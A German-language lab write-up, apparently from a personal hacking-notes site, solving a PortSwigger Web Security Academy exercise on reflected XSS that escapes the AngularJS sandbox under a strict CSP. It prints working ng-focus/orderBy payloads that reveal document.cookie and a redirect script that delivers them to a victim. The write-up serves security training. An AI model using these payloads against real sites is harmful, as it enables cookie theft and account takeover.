> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/xss/angularjs-sandbox-escape-with-csp.md).

# AngularJS-Sandbox-Flucht mit CSP

### Reflektiertes XSS mit AngularJS-Sandbox-Ausbruch und CSP

Führen Sie einen reflektierten Cross-Site-Scripting-Angriff durch, der die Content Security Policy umgeht, aus der AngularJS-Sandbox ausbricht und ausgeführt wird `alert(document.cookie)`.

**Kommentare**/ Die Website verwendet eine CSP-Richtlinie, die die Skriptausführung von einer externen Domain verhindert:

```javascript
default-src 'self'; script-src 'self'; style-src 'unsafe-inline' 'self'
```

<figure><img src="/files/156841ee717dd2c19923829fe94b3acdb2203b7e" alt=""><figcaption></figcaption></figure>

Durch Konsultation des PortSwigger-Spickzettels identifizieren wir einen funktionierenden AngularJS-Vektor, der die Auswertung über einen `orderBy` Filter angewendet auf den `$event.composedPath()` Ereignis.

<figure><img src="/files/be5d1512347f8dd5d3c3059fb1a97fb1249a84d7" alt=""><figcaption></figcaption></figure>

* Um einen Alert auszulösen:

```javascript
<input id=x ng-focus=$event.composedPath()|orderBy:'(z=alert)(1)'>
```

<figure><img src="/files/17dfe7def75201594dd8bc343ef543cd8554c97c" alt=""><figcaption></figcaption></figure>

* Um den Wert von `document.cookie`:

```javascript
<input id=x ng-focus=$event.composedPath()|orderBy:'(z=alert)(document.cookie)'>
```

Beispiel für eine URL, die erstellt wurde, um die Nutzlast zu übermitteln und die Ausführung auf der Opferseite zu erzwingen:

```javascript
<script>
location = 'https://0a7d008d035a764f8087997e004a0051.web-security-academy.net/?search=<input id=x+ng-focus=$event.composedPath()|orderBy:%27(z=alert)(document.cookie)%27>#x';
</script>
```

<figure><img src="/files/158d87eba73225df8d986474f45c60e2021f47cf" alt=""><figcaption></figcaption></figure>


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